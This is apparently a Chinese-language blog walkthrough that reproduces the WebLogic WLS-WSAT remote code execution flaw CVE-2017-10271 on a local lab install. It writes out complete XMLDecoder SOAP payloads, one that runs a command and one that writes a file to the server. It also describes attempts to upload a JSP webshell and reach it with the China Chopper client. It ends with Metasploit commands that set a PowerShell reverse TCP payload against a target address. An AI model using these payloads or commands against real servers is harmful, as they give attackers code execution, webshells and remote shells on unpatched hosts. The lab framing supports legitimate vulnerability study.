WebLogic中WLS组件漏洞 CVE-2017-10271
漏洞描述
WebLogic WLS组件中存在远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,
漏洞范围
受影响的WebLogic的版本:
10.3.6.0.0,
12.1.3.0.0,
12.2.1.1.0,
12.2.1.2.0
漏洞复现
环境的搭建
weblogic 12.2.1.3.0、java 1.8.0
下载weblogic 12.2.1.3.0 地址:
http://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_quick_Disk1_1of1.zip
切换到jdk1.8.0的bin目录下进行安装
java weblogic安装不太懂weblogic,选择默认安装吧
安装中开始域配置。。
密码看到密码有要求
生产这个选择生产环境
安装成功后。。切换C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
start点击startWebLogic进行启动
输入输入登录用户名密码
端口开放进行访问
ok漏洞页面
wls-wsat命令执行
使用burp进行抓包改包
输入post 请求的payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
并且修改请求方式为post,Upgrade-Insecure-Requests: 1,Content-Type: text/xml
okcalc命令执行
success使用大神写的exp进行测试
ok文件上传
当使用burp进行改包文件上传时,
在weblogic服务上生成p.txt文件,达到文件上传的结果。
okPOST数据包的payload:
success<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/p.txt</string><void method="println"> <string>hello weblogic </string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>
但是在尝试创建jsp小马文件的时候,出现了错误。
注:应该是编码的问题。
ok使用exp进行测试
小马上传小马,菜刀连接
error注:也是出现了java的错误。。
没有办法,只能一个上传命令执行的马。
ok successmetasploit
在metasploit中也有攻击模块
optionssearch CVE-2017-10271
use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
set payload cmd/windows/powershell_reverse_tcp
set RHOST 192.168.72.138
run
配置好后可攻击。
session总结:有几个bug还需要好好琢磨。。先记下来吧
参考资料